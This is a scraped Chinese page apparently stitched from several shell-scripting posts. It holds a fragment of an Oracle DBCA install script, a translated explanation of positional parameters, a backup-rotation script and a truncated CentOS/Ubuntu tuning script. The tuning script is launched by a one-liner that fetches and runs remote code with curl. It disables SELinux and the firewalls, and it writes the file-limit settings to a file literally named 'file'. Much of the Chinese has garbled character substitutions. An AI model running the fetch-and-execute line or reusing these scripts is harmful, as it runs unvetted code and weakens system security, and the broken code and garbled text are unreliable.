"s/numberOfPDBs=1/numberOfPDBs=0/g" /tmp/dbca.rsp sed -i "s/PDB_NAME=$PDB_SID,//g" /tmp/dbca.rsp sed -i "/PDB_NAME=$PDB_SID/d" /tmp/dbca.rspficat /tmp/dbca.rsp >>$logfileecho "# 开始 DBCA 建库"echo "# 开始 DBCA 建库" >>$logfilesu - oracle -c "dbca -silent -createDatabase -ignorePrereqFailure -responseFile /tmp/dbca.rsp -redoLogFileSize $redoLogFileSize -useOMF $useOMF -enableArchive true -emConfiguration NONE"if [ $? -ne 0 ];then result_err "# DBCA 建库失败,Failed" result_err "# DBCA 建库失败,Failed" >>$logfile exit 1else result_ok "# DBCA 建库胜利,successful" result_ok "# DBCA 建库胜利,successful" >>$logfilefi

March 24, 2023 · 28 min · jiezi

关于shell:加数字在Shell中的含义

原文地址[$1 - Linux Bash Shell Scripting Tutorial Wiki (cyberciti.biz)](https://bash.cyberciti.biz/guide/$1) 案例介绍**$1** is the first command-line argument passed to the shell script. Also, know as Positional parameters. For example, $0, $1, $3, $4 and so on. If you run ./script.sh filename1 dir1, then。 **$1**是传递给shell脚本的**第一个命令行参数**。另外,也被称为**地位参数**。例如,$0、1、3、4等等。 比方如果你运行./script.sh filename1 dir1,那么: $0 is the name of the script itself (script.sh)$1 is the first argument (filename1)$2 is the second argument (dir1)$9 is the ninth argument${10} is the tenth argument and must be enclosed in brackets after $9.${11} is the eleventh argument.$0 代表了脚本名称自身,比方这里的script.sh 就是$0的值。$1 代表了跟在脚本前面的第一个参数,$1 = filename1$2 代表跟在脚本前面的第二个参数,$2 = dir1。$9 对应的到 $9 代表之后的第九个参数${10} 是第10个参数,必须在$9之后用括号括起来。${11} 是第11个参数。What does $1 mean in Bash? $1 在Bash脚本的含意Create a shell script named demo-args.sh as follows: ...

February 23, 2023 · 2 min · jiezi

关于shell:shell-编程学习摘要

条件判断:if 、[[$a -lt $b]]、test等循环语句:for、while、until后盾执行符:&:问题-无法控制过程数管制过程数的外围:文件描述符和管道

February 14, 2023 · 1 min · jiezi

关于shell:shell-备份文件脚本自动清理

主动清理超出备份数的最老备份文件 #! /usr/bin/env bash# 备份目录bak_dir="../bak"# 备份最大数量bak_max=5# 备份文件名固定为如下格局# archive.tar.gzecho -n "请输出备份版本号:"read versionif [ -f ./archive.tar.gz ];then echo "clean archive.tar.gz" rm -rf archive.tar.gzfitar -zcf archive.tar.gz ./*if [ ! -d $bak_dir ];then mkdir $bak_dirfibak_file="${bak_dir}/archive.${version}.tar.gz"# 已存在备份文件 则做笼罩if [ -f $bak_file ];then rm $bak_fileficp archive.tar.gz $bak_fileecho "baking success $bak_file"# 革除老的备份bak_cnt=$(ls -l $bak_dir | grep "^-" | wc -l)echo "bak cnt $bak_cnt"while (( $bak_cnt > $bak_max )); do oldest_file=$(ls -rt $bak_dir | head -1) #获取最旧的备份 echo "delete old file: "$oldest_file rm -rf $bak_dir/$oldest_file let "bak_cnt--"doneecho "---- bak file list ----"ls -l $bak_dir | egrep "^-|^d"echo "---- bak file list ----"可执行权限 ...

January 10, 2023 · 1 min · jiezi

关于shell:shell的标准输入和输出

 无论是要交给程序处理的数据,还是管制脚本的简略命令,都少不了输出和输入。程序要做的第一件事就是解决如同一阴一阳的 “输出与输入”。 1、从文件获取输出 当咱们心愿向文件输入内容时,咱们能够通过符号>或>>实现。而用代表输出重定向的符号<能够从文件中读取数据,如下: $ wc < my.file 之所以抉择这种形态的操作符号,起因在于它们能够从视觉上提醒重定向的方向。 很多shell命令能够承受一个或多个文件名作为参数,但如果没有给出文件名,命令就会从规范输出读取。应用这种命令时,能够采纳command filename或者command<filename,这两种模式的后果没什么区别。在这个例子中,wc是这样,换作cat或其余命令,也是如此。 2、将数据与脚本寄存在一起 <能够从文件读取数据,当你须要取得脚本输出,但又不想用独自的文件时,应用<<(here-document)从命令行而非文件重定向输出文本。如果放在shell脚本中,则脚本文件能够同时蕴含数据与代码。 以下是名为ext.sh的shell脚本示例: # 上面是here-document grep $1 <<EOF mike x.123 joe x.234 sue x.555 pete x.818 sara x.822 bill x.919 EOF 当咱们运行此脚本,能够传入一个参数,如下调用: $ ./ext.sh bill # 输入以下内容 bill x.919 grep命令查找第一个参数是否在指定文件中呈现,如果没有指定文件,那么它会在规范输出中查找。通过设置here document,通知shell将规范输出重定向(长期)到此处。<< 语法示意咱们想创立一个长期输出源,EOF是一个任意的字符串(你想用什么都行),用作长期输出的终止符。它并不属于输出的一部分,只是作为标记通知输出在哪里完结。 3、防止here-document中的怪异行为 here-document在应用时可能会呈现一些怪异的行为。你想用上一节介绍的办法来保留一份简略的捐赠人列表,因而创立了一个名为donors.sh的文件,如下所示: grep $1 <<EOF pete $100 joe $200 sam $ 25 bill $ 9 EOF 然而运行时呈现了奇怪的输入: ...

December 21, 2022 · 2 min · jiezi

关于shell:学习-Shell准没错

theme: channing-cyan什么是shell?目前的计算机操作系统都采纳了某型模式的用户界面,借此指定零碎须要操作系统的命令。然而在很多操作系统中,命令行界面是内嵌的,是人与计算机交互的惟一形式。操作系统的命令行页面就是为了执行您的命令。 shell是一个程序,它的工作就是为了用户执行其余程序,即零碎中容许用户输出命令的局部。 shell有很多吗?shell不过是在Unix上运行的一个程序,如果你不喜爱规范shell能够本人编写一个。因而shell已经呈现过很多的版本,如:Bourne shell 简称sh; C shell 简称 csh,它们两个是最早的shell。前面又呈现了Korn shell 简称ksh和bash shell等。 那么,有这么多版本的shell我该用哪个呢? bash 提供了 shell 程序员所须要的编程个性和命令行用户青睐的各种便当。它一开始打算作为 ksh 的替代品,但随着自由软件静止变得愈发重要,Linux 越来越风行,bash 的风头很快就盖过了 ksh。 bash 也因而成了咱们已知的所有 Linux 发行版以及 macOS(包含晚期的 OS X 版本)的默认 shell。bash 既是一门弱小的编程语言,也是一种优良的用户界面。它让你在取得简单编程个性的同时,可能放弃键盘输入的便捷性。 答案: 学习 bash 准没错 bash shell 简介bash 是一种shell,也就是命令解释器。bash的次要目标是让用户能够同计算机操作系统交互,以便实现想做的工作。这通常波及运行程序,因而 shell 会承受你输出的命令,判断要用到的程序,而后执行命令来启动程序。bash 其实就是一种用于执行命令的语言,你输出的命令(如 ls、cd、grep、cat)从某种意义上来说就是 bash 命令。这些命令有些是 bash 内建的,有些是独立的程序。 bash shell 提示符所有的命令行 shell 都采纳某种模式的提示符来通知用户 shell 曾经筹备好承受输出了。提示符的具体模式取决于很多因素,其中包含操作系统的类型和版本、shell 的类型和版本、发行版以及其他人所做的配置。 $ :通常表明您是以普通用户身份登陆,如下图: #:通常表明您是root。root用户是零碎的管理员,如下图: ~:此符号通常示意所在的目录为主目录,如下图: 显示以后地位pwd 是 print working directory(打印工作目录)的缩写,该命令承受两个选项。-L 显示以后的逻辑门路,这也是默认选项。-P 显示以后的物理门路,如果追随符号链接,后果可能和逻辑门路不同。 ...

December 14, 2022 · 1 min · jiezi

关于shell:shell-编程

开启敞开SSH# 开启sshfunction disable_ssh() { sed -i "s/PasswordAuthentication yes/PasswordAuthentication no/g" /etc/ssh/sshd_config systemctl restart ssh w | grep sshd | awk '{print $2}' | while read one; do pkill -9 -t $one; done #退出以后登录的用户 return 0}# 敞开sshfunction enable_ssh() { sed -i "s/#PermitRootLogin prohibit-password/PermitRootLogin yes/g" /etc/ssh/sshd_config sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/g" /etc/ssh/sshd_config systemctl restart ssh return 0}批改以后用户登录明码function change_passwd() { passwd=$1 [[ -z "$passwd" ]] && return 0 echo "$(whoami):$passwd" | /usr/sbin/chpasswd || true sync return 0}# usage: change_passwd pwdshell 实现并发执行并且管制并发数量#!/bin/bashstart_time=$(date +%s) #定义脚本运行的开始工夫[ -e /tmp/fd1 ] || mkfifo /tmp/fd1 #创立有名管道exec 3<>/tmp/fd1 #创立文件描述符,以可读(<)可写(>)的形式关联管道文件,这时候文件描述符3就有了有名管道文件的所有个性rm -rf /tmp/fd1 #关联后的文件描述符领有管道文件的所有个性,所以这时候管道文件能够删除,咱们留下文件描述符来用就能够了for ((i = 1; i <= 10; i++)); do echo >&3 #&3代表援用文件描述符3,这条命令代表往管道外面放入了一个"令牌"donefor ((i = 1; i <= 1000; i++)); do read -u3 #代表从管道中读取一个令牌 { sleep 1 #sleep 1用来模拟执行一条命令须要破费的工夫(能够用实在命令来代替) echo 'success'$i echo >&3 #代表我这一次命令执行到最初,把令牌放回管道 } &donewaitstop_time=$(date +%s) #定义脚本运行的完结工夫echo "TIME:$(expr $stop_time - $start_time)"exec 3<&- #敞开文件描述符的读exec 3>&- #敞开文件描述符的写byte 格式化显示function byte_format() { totalsize=$1 if [[ "$totalsize" =~ ^[0-9]+$ ]]; then if [ 1024 -gt $totalsize ]; then size="$totalsize"B elif [ 1048576 -gt $totalsize ]; then size=$(echo "scale=3; a = $totalsize / 1024 ; if (length(a)==scale(a)) print 0;print a" | bc) size="$size"KB elif [ 1073741824 -gt $totalsize ]; then size=$(echo "scale=3; a = $totalsize / 1048576 ; if (length(a)==scale(a)) print 0;print a" | bc) size="$size"MB elif [ 1073741824 -le $totalsize ]; then size=$(echo "scale=3; a = $totalsize / 1073741824 ; if (length(a)==scale(a)) print 0;print a" | bc) size="$size"GB else size="0" fi else size="NULL" fi echo $size}

November 24, 2022 · 2 min · jiezi

关于shell:如何入门使用-Linux-Shell-脚本

什么是 Shell ?shell 是 类 Unix / Linux 操作系统中的解释器,它获取用户键入的命令,并调用操作系统运行这些命令。简略地说,shell 充当的是操作系统的包装器角色。例如,您能够应用 shell 输出 ls 命令来列出目录中的文件,输出 cp 命令执行复制操作。 $ lsDesktop Documents Downloads Music Pictures playbook.yaml Public snap Templates test5 Videos$在本例中,当您简略地输出 ls 并按下 enter 时。$ 是 shell 提示符,它告诉您 shell 正在期待您的命令。其余行是当前目录中的文件名。 什么是 Shell 提示符 ?提示符 $ 被称为命令提示符,由 shell 收回。当提示符显示时,您能够输出命令。shell 在出现后读取您的输出。它通过查看输出的第一个单词来确定要执行的命令。单词是一组残缺的字符。空格和制表符分隔单词。 有哪些不同类型的shell ?因为 shell 没有被垄断,您能够运行任何你喜爱的 shell,然而咱们有必要晓得其它代替计划是很有帮忙,以下是是一些常见的可供 UNIX / Linux 应用的 shell 列表。 Bourne Shell最后的 Unix Shell 被称为 sh,是 Shell 或 Bourne Shell 的缩写,以 sh 的创建者 steven Bourne 命名。这在简直所有的 Unix 类操作系统上都可用。Basic bourne shell 只反对最无限的命令行编辑,您能够输出字符,用退格键删除一个字符,按回车键来执行命令。如果命令行出错,能够按 Ctrl-C 勾销整个命令。 ...

November 23, 2022 · 2 min · jiezi

关于shell:如何使用zx编写shell脚本

前言在这篇文章中,咱们将学习谷歌的zx库提供了什么,以及咱们如何应用它来用Node.js编写shell脚本。而后,咱们将学习如何通过构建一个命令行工具来应用zx的性能,帮忙咱们为新的Node.js我的项目疏导配置。 编写Shell脚本的问题创立一个由Bash或者zsh执行的shell脚本,是自动化反复工作的好办法。Node.js仿佛是编写shell脚本的现实抉择,因为它为咱们提供了许多外围模块,并容许咱们导入任何咱们抉择的库。它还容许咱们拜访JavaScript提供的语言个性和内置函数。 如果你尝试编写运行在Node.js中的shell脚本,你会发现这没有你设想中的那么顺利。你须要为子过程编写非凡的处理程序,留神本义命令行参数,而后最终与stdout(规范输入)和stderr(规范谬误)打交道。这不是特地直观,而且会使shell脚本变得相当蠢笨。 Bash shell脚本语言是编写shell脚本的广泛抉择。不须要编写代码来解决子过程,而且它有内置的语言个性来解决stdout和stderr。然而用Bash编写shell脚本也不是那么容易。语法可能相当凌乱,使得它实现逻辑,或者解决诸如提醒用户输出的事件十分艰难。 谷歌的zx库有助于让应用Node.js编写的shell脚本变得高效和舒服。 前置条件往下浏览之前,有几个前置条件须要遵循: 现实状况下,你应该相熟JavaScript和Node.js的基础知识。你须要适应在终端中运行命令。你须要装置Node.js >= v14.13.1。本文中的所有代码都能够从GitHub上取得。 zx如何运作Google的zx提供了创立子过程的函数,以及解决这些过程的stdout和stderr的函数。咱们将应用的次要函数是$函数。上面是它的一个理论例子: import { $ } from "zx";await $`ls`;上面是执行上述代码的输入: $ lsbootstrap-toolhello-worldnode_modulespackage.jsonREADME.mdtypescript下面的例子中的JavaScript语法可能看起来有点乖僻。它应用了一种叫做带标签的模板字符串的语言个性。它在性能上与编写await $("ls")雷同。 谷歌的zx提供了其余几个实用功能,使编写shell脚本更容易。比方: cd()。容许咱们更改当前工作目录。question()。这是Node.js readline模块的包装器。它使提醒用户输出变得简单明了。除了zx提供的实用功能外,它还为咱们提供了几个风行的库,比方: chalk。这个库容许咱们为脚本的输入增加色彩。minimist。一个解析命令行参数的库。而后它们在argv对象下被裸露进去。fetch。Fetch API的Node.js实现。咱们能够用它来进行HTTP申请。fs-extra。一个裸露Node.js外围fs模块的库,以及一些额定的办法,使其更容易与文件系统一起工作。当初咱们晓得了zx给了咱们什么,让咱们用它创立第一个shell脚本。 zx如何应用首先,咱们先创立一个新我的项目: mkdir zx-shell-scriptscd zx-shell-scriptsnpm init --yes而后装置zx库: npm install --save-dev zx留神:zx的文档倡议用npm全局装置该库。通过将其装置为咱们我的项目的本地依赖,咱们能够确保zx总是被装置,并管制shell脚本应用的版本。 顶级await为了在Node.js中应用顶级await,也就是await位于async函数的内部,咱们须要在ES模块的模式下编写代码,该模式反对顶级await。 咱们能够通过在package.json中增加"type": "module"来表明我的项目中的所有模块都是ES模块。或者咱们能够将单个脚本的文件扩展名设置为.mjs。在本文的例子中,咱们将应用.mjs文件扩展名。 运行命令并捕捉输入创立一个新脚本,将其命名为hello-world.mjs。咱们将增加一个Shebang行,它通知操作系统(OS)的内核要用node程序运行该脚本: #! /usr/bin/env node而后,咱们增加一些代码,应用zx来运行命令。 在上面的代码中,咱们运行命令执行ls程序。ls程序将列出当前工作目录(脚本所在的目录)中的文件。咱们将从命令的过程中捕捉规范输入,将其存储在一个变量中,而后打印到终端: // hello-world.mjsimport { $ } from "zx";const output = (await $`ls`).stdout;console.log(output);留神:zx文档倡议把/usr/bin/env zx放在咱们脚本的shebang行中,但咱们用/usr/bin/env node代替。这是因为咱们曾经装置zx,并作为我的项目的本地依赖。而后咱们明确地从zx包中导入咱们想要应用的函数和对象。这有助于明确咱们脚本中应用的依赖来自哪里。 咱们应用chmod来让脚本可执行: chmod u+x hello-world.mjs运行我的项目: ./hello-world.mjs能够看到如下输入: $ lshello-world.mjsnode_modulespackage.jsonpackage-lock.jsonREADME.mdhello-world.mjsnode_modulespackage.jsonpackage-lock.jsonREADME.md你会留神到: 咱们运行的命令(ls)被蕴含在输入中。命令的输入显示两次。在输入的开端多了一个新行。zx默认以verbose模式运行。它将输入你传递给$函数的命令,同时也输入该命令的规范输入。咱们能够通过在运行ls命令前退出以下一行代码来扭转这种行为: $.verbose = false;大多数命令行程序,如ls,会在其输入的结尾处输入一个新行字符,以使输入在终端中更易读。这对可读性有益处,但因为咱们要将输入存储在一个变量中,咱们不心愿有这个额定的新行。咱们能够用JavaScript String#trim()函数把它去掉: ...

November 22, 2022 · 4 min · jiezi

关于shell:为什么我用zsh代替csh

总结zsh领有成熟的生态,古代的语法,弱小的性能,是目前shell的最好抉择。 我用shell做什么我是shell的重度用户,开发工作除了写文档都是在shell下实现的。所以shell就是我的生产力工具,打造高效的shell环境,能够大幅提高我的工作效率。有很多性能,比方文件关上敞开,文件目录跳转,初始化配置,eda工具设置,是不适宜用其余脚本语言来写的,shell脚本也是最佳选项。很多子性能适宜编译成二进制文件后,由shell来对立调用摆布。 所以抉择shell十分关注它的生态以及生态里已有的性能。生态不好,就须要本人造轮子,显示不适宜我这样的IC开发者,所以我最选淘汰的是咱们行业最罕用的csh. 其次就是最好有成套的环境能够间接应用,这样就不须要本人花大量工夫去配置成方便使用的环境。这方面oh-my-zsh的存在极大缩小了使用者的配置工夫。拿来主义十分爽。内置十分多主题和插件,间接能够应用。 担心在咱们这个行业十分多人用csh,并且可能有些脚本是用csh写的,感觉转过来十分不不便,相当于他人曾经有csh生态了,你一个人转过来相当于摈弃了生态。这在我看来齐全不是问题,因为他人所谓的脚本如果是很谨严的脚本,肯定不会依赖于SHELL的,如果依赖于SHELL,那么脚本肯定是比拟随便的,或者是source一些变量设定和门路设定的,这种如果肯定想重用,能够用工具主动转成bash(这样zsh也能够用了)。这种是一次性工作量。相比zsh带来的效率晋升,这个代价很小。小声说一句,我其实并没有用其他人的csh脚本,因为他们的脚本真的只是给本人用的一些变量设定和alias之类。我是用不上的。 上面我来一一介绍它的长处。 兼容性zsh根本兼容bash, 所以绝大部分bash脚本能够间接应用。轻微的差异参见我的这篇文章 文件补全只有按下tab键, 它能够依据前文命令列出文件或目录。如果是svn add, 它会只列出末增加到仓库中的文件。如果是cd, 它会只列出目录。 便捷的目录切换能够用cd .....向上5层能够用d回车列出最近5个目录,而后用数字抉择进入哪个目录能够用cd /v/o/s/d来进入/var/opt/synopsys/doc目录 命令选项补全这是补全的一种,但它的弱小值得再提一遍它能够理念命令。比方dconf <Tab>会主动列出subcommand $ dconf <Tab>compile -- compile a binary database from keyfilesdump -- dump an entire subpath to stdouthelp -- display help informationlist -- list the contents of a directoryload -- populate a subpath from stdinread -- read the value of a keyreset -- reset the value of a key or directoryupdate -- update the system databaseswatch -- watch a path for changeswrite -- change the value of a key命令参数补全比方下面的命令输完dconf read /按下<Tab>就会主动输入org/和system两个选项 ...

September 25, 2022 · 1 min · jiezi

关于shell:Shell入门

什么是程序程序是为实现特定指标或解决特定问题而用计算机语言编写的命令序列的汇合。简略来说,电脑外面的利用都是程序来管制的,程序天天见。程序是由序列组成的,通知计算机如何实现一个具体的工作。因为当初的计算机还不能了解人类的自然语言,所以还不能用自然语言编写计算机程序,不过当初语音辨认技术己经很历害了,在不久的未来,预计,电脑就本人会编程序了。 程序能做什么?电脑管制手机管制机械管制物联,所有自动化制作的零碎,都是由程序来管制的。 什么是编程?编程是一个动词,编程==写代码。写代码为了什么?为了让计算机干你想要干的事件。 语言那计算机能了解的语言是什么?计算机只能了解二进制,如:01010101等。如果应用二进制来写代码,这样开发速度太慢。所以最好的方法就是人输出简略的指令,计算机能把指令转成二进制执行。 有哪些编程语言呢?编程语言总体分为:机器语言、汇编语言、高级语言 机器语言因为计算机外部只能承受二进制,因而用二进制代码0和1形容的指令成为机器指令,全副机器指令的汇合形成计算机的机器语言。用机器语言编程的程序成为目标程序,只有目标程序能力被计算机间接辨认和执行。然而机器语言编写的程序无显著特色,难以记忆,不便于浏览和书写,且依赖与具体机种,局限性很大,机器语言属于低级语言。 用机器语言编写程序,编程人员要首先熟记所用计算机的全副指令代码和代码的涵义。手编程序时,程序员得本人解决每条指令和每一数据的存储调配和输入输出,还得记住编程过程中每步所应用的工作单元处在何种状态。这是一件非常繁琐的工作。编写程序破费的工夫往往是理论运行工夫的几十倍或几百倍。而且,编出的程序全是些0和1的指令代码,直观性差,还容易出错。除了计算机生产厂家的业余人员外,绝大多数的程序员曾经不再去学习机器语言了。 机器语言是微处理器了解和应用的,用于管制它的操作二进制代码。 汇编语言汇编语言的本质和机器语言是雷同的,都是间接对硬件操作,只不过指令采纳了英文缩写的标识符,更容易辨认和记忆。它同样须要编程者将每一步具体的操作用命令的模式写进去。 汇编程序的每一句指令只能对应实际操作过程中的一个很轻微的动作。例如挪动、自增,因而汇编源程序个别比拟简短、简单、容易出错,而且应用汇编语言编程须要有更多的计算机专业常识,但汇编语言的长处也是不言而喻的,用汇编语言所能实现的操作不是个别高级语言所可能实现的,而且源程序经汇编生成的可执行文件不仅比拟小,而且执行速度很快。 高级语言高级语言是大多数编程者的抉择。和汇编语言相比,它岂但将许多相干的机器指令合成为单条指令,并且去掉了与具体操作无关但与实现工作无关的细节,例如应用堆栈、寄存器等,这样就大大简化了程序中的指令。同时,因为省略了很多细节,编程者也就不须要有太多的专业知识。 高级语言次要是绝对于汇编语言而言,它并不是特指某一种具体的语言,而是包含了很多编程语言,像最简略的编程语言PASCAL语言也属于高级语言。 高级语言所编制的程序不能间接被计算机辨认,必须通过转换能力被执行,按转换形式可将它们分为两类: 编译类编译是指在利用源程序执行之前,就将程序源代码“翻译”成指标代码(机器语言),因而其目标程序能够脱离其语言环境独立执行(编译后生成的可执行文件,是cpu能够了解的2进制的机器码组成的),应用比拟不便、效率较高。但应用程序一旦须要批改,必须先批改源代码,再从新编译生成新的指标文件(*.obj,也就是OBJ文件)能力执行,只有指标文件而没有源代码,批改很不不便。 编译后程序运行时不须要从新翻译,间接应用编译的后果就行了。程序执行效率高,依赖编译器,跨平台性差些。如C、C++、Delphi等。 解释类执行形式相似于咱们日常生活中的“同声翻译”,应用程序源代码一边由相应语言的解释器“翻译”成指标代码(机器语言),一边执行,因而效率比拟低,而且不能生成可独立执行的可执行文件,应用程序不能脱离其解释器(想运行,必须先装上解释器,就像跟老外谈话,必须有翻译在场),但这种形式比拟灵便,能够动静地调整、批改应用程序。如Shell,Python、Java、PHP、Ruby等语言。 总结机器语言长处:最底层,速度最快毛病:最简单,开发效率最低汇编语言长处:较为底层,速度较快毛病:较为简单,开发效率较低高级语言编译型:执行速度快,但跨平台性差解释型:跨平台性强,但执行速度慢Shell概述什么是Shell?首先Shell的英文含意是“壳”; 它是绝对于内核来说的,因为它是建设在内核的根底上,面向于用户的一种表现形式,比方咱们看到一个球,见到的是它的壳,而非核。 Linux中的Shell,是指一个面向用户的命令接口,表现形式就是一个能够由用户录入的界面,这个界面也能够反馈运行信息; Shell在Linux中的存在模式因为Linux不同于Windows,Linux是内核与界面拆散的,它能够脱离图形界面而独自运行,同样也能够在内核的根底上运行图形化的桌面。 这样,在Linux零碎中,就呈现了两种Shell表现形式,一种是在无图形界面下的终端运行环境下的Shell,另一种是桌面上运行的相似Windows 的MS-DOS运行窗口,前者咱们个别习惯性地简称为终端,后者个别间接称为Shell。 Shell如何执行用户的指令Shell有两种执行指令的形式: 第一种办法是用户当时编写一个sh脚本文件,内含Shell脚本,而后应用Shell程序执行该脚本,这种形式,咱们习惯称为Shell编程。第二种模式,则是用户间接在Shell界面上执行Shell命令,因为Shell界面的关系,大家都习惯一行行的书写,很少写出成套的程序来一起执行,所以也称命令行。总结Shell 只是为用户与机器之间搭建成的一个桥梁,让咱们可能通过Shell来对计算机进行操作和交互,从而达到让计算机为咱们服务的目标。 Shell的分类Linux中默认的Shell是/bin/bash,风行的Shell有ash、bash、ksh、csh、zsh等,不同的Shell都有本人的特点以及用处。 bash大多数Linux零碎默认应用的Shell,bash Shell是Bourne Shell 的一个收费版本,它是最早的Unix Shell。 bash还有一个特点,能够通过help命令来查看帮忙。蕴含的性能简直能够涵盖Shell所具备的性能,所以个别的Shell脚本都会指定它为执行门路。 cshC Shell 应用的是“类C”语法,csh是具备C语言格调的一种Shell,其外部命令有52个,较为宏大。目前应用的并不多,曾经被/bin/tcsh所取代。 tcshtcsh是csh的增强版,与C Shell齐全兼容。 kshKorn Shell 的语法与Bourne Shell雷同,同时具备了C Shell的易用特点。许多装置脚本都应用ksh,ksh 有42条外部命令,与bash相比有肯定的限制性。 sh是一个快捷方式,曾经被/bin/bash所取代。 zsh目前Linux里最宏大的一种 zsh。它有84个外部命令,应用起来也比较复杂。个别状况下,不会应用该Shell。 Shell能做什么?自动化批量零碎初始化程序 (update,软件装置,时区设置,安全策略...)自动化批量软件部署程序(LAMP,LNMP,Tomcat,LVS,Nginx)利用管理程序(KVM,集群治理扩容,MySQL,DELLR720批量RAID)日至剖析处理程序(PV, UV, 200, !200, top 100, grep/awk)自动化备份恢复程序(MySQL齐全备份/增量 + Crond)自动化管理程序(批量近程批改明码,软件降级,配置更新)自动化信息采集及监控程序(收集零碎/利用状态信息,CPU,Mem,Disk,Net,TCP Status,Apache,MySQL)配合Zabbix信息采集(收集零碎/利用状态信息,CPU,Mem,Disk,Net,TCP Status,Apache,MySQL)主动花扩容(减少云主机——>业务上线)Zabbix监控CPU 80%+|-50% Python API AWS/EC2(减少/删除云主机) + Shell Script(业务上线)login shell与nologin shell的区别外表区别Login shell就是你进入shell是须要输使用者名称明码的,比方你启动图形介面最初一步须要你输出使用者名称明码,只有你输出正确,能力进入桌面,这进入的就是一个login shell 。另外比方你ctrl + alt + F2等进入非图形介面的tty ,都是须要你输出使用者名称明码之后能力持续操作,这种状况下你进入的就是login shell 。 ...

September 24, 2022 · 2 min · jiezi

关于shell:MAC系统和Linux系统下md5获取方法

前一段时间在开发一个比较复杂的shell脚本,指标之一是心愿可能拷贝到任何台机器上都能用(当然不包含win),所以脚本不会用到很多须要装置的命令,所应用的命令根本都是零碎装置时候就自带的。我的开发环境是mac,本认为很多根底的命令mac和linux应该都一样,没想到过程中还是遇到不少有细微差别的中央。字符串计算MD5就是其中之一,这篇文章简略记录一下两个零碎在计算MD5时的差别,其余的差别当前有机会再聊 Linux:md5sum命令阐明linux下获取md5的命令是md5sum,上面是他的帮助文件。从帮忙文档看,linux的md5sum命令次要是用来计算文件md5值的,一段文本的计算只是附带的一个性能 Usage: md5sum [OPTION]... [FILE]...Print or check MD5 (128-bit) checksums.With no FILE, or when FILE is -, read standard input. -b, --binary read in binary mode -c, --check read MD5 sums from the FILEs and check them --tag create a BSD-style checksum -t, --text read in text mode (default) Note: There is no difference between binary and text mode option on GNU system.The following four options are useful only when verifying checksums: --quiet don't print OK for each successfully verified file --status don't output anything, status code shows success --strict exit non-zero for improperly formatted checksum lines -w, --warn warn about improperly formatted checksum lines --help display this help and exit --version output version information and exit文本输入测试文本输入md5 ...

September 10, 2022 · 2 min · jiezi

关于shell:系统优化脚本支持Ubuntu和CentOS

系统优化脚本反对Ubuntu和CentOS装置零碎后常常有一些根底的系统优化装置,自己比拟懒,写了一个脚本,能够前期退出其余优化方面。 仓库地址:https://github.com/cby-chen/OS 后续可能会持续更新脚本 能够通过我的一键命令执行 bash -c "$(curl -L https://www.oiox.cn/os.sh)" shell脚本如下 #!/bin/bashos=$(cat /etc/os-release 2>/dev/null | grep ^ID= | awk -F= '{print $2}')function selinuxset(){ selinux_status=$(grep -c "SELINUX=disabled" /etc/sysconfig/selinux) echo "========================禁用SELINUX========================" if [ "$selinux_status" -eq 0 ];then sed -i "s#SELINUX=enforcing#SELINUX=disabled#g" /etc/sysconfig/selinux setenforce 0 grep SELINUX=disabled /etc/sysconfig/selinux getenforce else echo 'SELINUX已处于敞开状态' grep SELINUX=disabled /etc/sysconfig/selinux getenforce fi action "实现禁用SELINUX" /bin/true echo "===========================================================" sleep 3}function firewalldset(){ echo "========================敞开firewalld=======================" echo '敞开防火墙' systemctl disable --now firewalld echo '验证如下' systemctl list-unit-files | grep firewalld echo '生产环境下倡议启用' echo "===========================================================" sleep 3}function ufwset(){ echo "========================敞开ufw============================" echo '敞开防火墙' systemctl disable --now ufw echo '验证如下' systemctl list-unit-files | grep ufw echo '生产环境下倡议启用' echo "===========================================================" sleep 3}function limitsset(){ echo "======================批改文件描述符========================" echo '加大系统文件描述符最大值' { echo '* soft nofile 65536' echo '* hard nofile 65536' echo '* soft nproc 65536' echo '* hard nproc 65536' } >> file echo '查看配置内容' cat /etc/security/limits.conf echo '设置软硬资源限度' ulimit -Sn ; ulimit -Hn echo "===========================================================" sleep 3}function yumset(){ echo "======================开始批改YUM源========================" echo '开始批改YUM源' sudo sed -e 's|^mirrorlist=|#mirrorlist=|g' -e 's|^#baseurl=http://mirror.centos.org|baseurl=https://mirrors.tuna.tsinghua.edu.cn|g' -i.bak /etc/yum.repos.d/CentOS-*.repo echo '开始装置惯例软件' yum update -y yum install curl git wget ntpdate lsof net-tools telnet vim lrzsz tree nmap nc sysstat epel* -y echo "===========================================================" sleep 3}function aptset(){ echo "======================开始批改APT源========================" echo '开始批改APT源' apt_stat=$(cat /etc/apt/sources.list | grep -v ^\# | awk -F/ '{print $3}' | grep -v ^$ | awk 'NR==1{print}') sudo sed -i "s/$apt_stat/mirrors.ustc.edu.cn/g" /etc/apt/sources.list echo '开始装置惯例软件' apt update -y apt upgrade -y apt install vim htop net-tools lrzsz nmap telnet ntpdate sysstat curl git wget -y echo "===========================================================" sleep 3}function restartset(){ echo "===================禁用ctrl+alt+del重启====================" rm -rf /usr/lib/systemd/system/ctrl-alt-del.target echo "实现禁用ctrl+alt+del重启" echo "===========================================================" sleep 3}function historyset(){ echo "========================history优化========================" chk_his=$(cat /etc/profile | grep HISTTIMEFORMAT |wc -l) if [ $chk_his -eq 0 ];then cat >> /etc/profile <<'EOF'#设置history格局export HISTTIMEFORMAT="[%Y-%m-%d %H:%M:%S] [`whoami`] [`who am i|awk '{print $NF}'|sed -r 's#[()]##g'`]: "#记录shell执行的每一条命令export PROMPT_COMMAND='\if [ -z "$OLD_PWD" ];then export OLD_PWD=$PWD;fi;if [ ! -z "$LAST_CMD" ] && [ "$(history 1)" != "$LAST_CMD" ]; then logger -t `whoami`_shell_dir "[$OLD_PWD]$(history 1)";fi;export LAST_CMD="$(history 1)";export OLD_PWD=$PWD;'EOF source /etc/profile else echo "优化项已存在。" fi echo "实现history优化" echo "===========================================================" sleep 3}function helloset(){ echo "========================欢送界面优化========================" cat << EOF > /etc/profile.d/login-info.sh#!/bin/sh## @Time : 2022-04-21# @Author : chenby# @Desc : ssh login bannerexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binshopt -q login_shell && : || return 0echo -e "\033[0;32m # # ###### # # #### # # # # # # # ###### ##### # # # # # # # # # # # # # # # # # # # # ###### ###### ###### #### by chenby\033[0m"# osupSeconds="\$(cut -d. -f1 /proc/uptime)"secs=\$((\${upSeconds}%60))mins=\$((\${upSeconds}/60%60))hours=\$((\${upSeconds}/3600%24))days=\$((\${upSeconds}/86400))UPTIME_INFO=\$(printf "%d days, %02dh %02dm %02ds" "\$days" "\$hours" 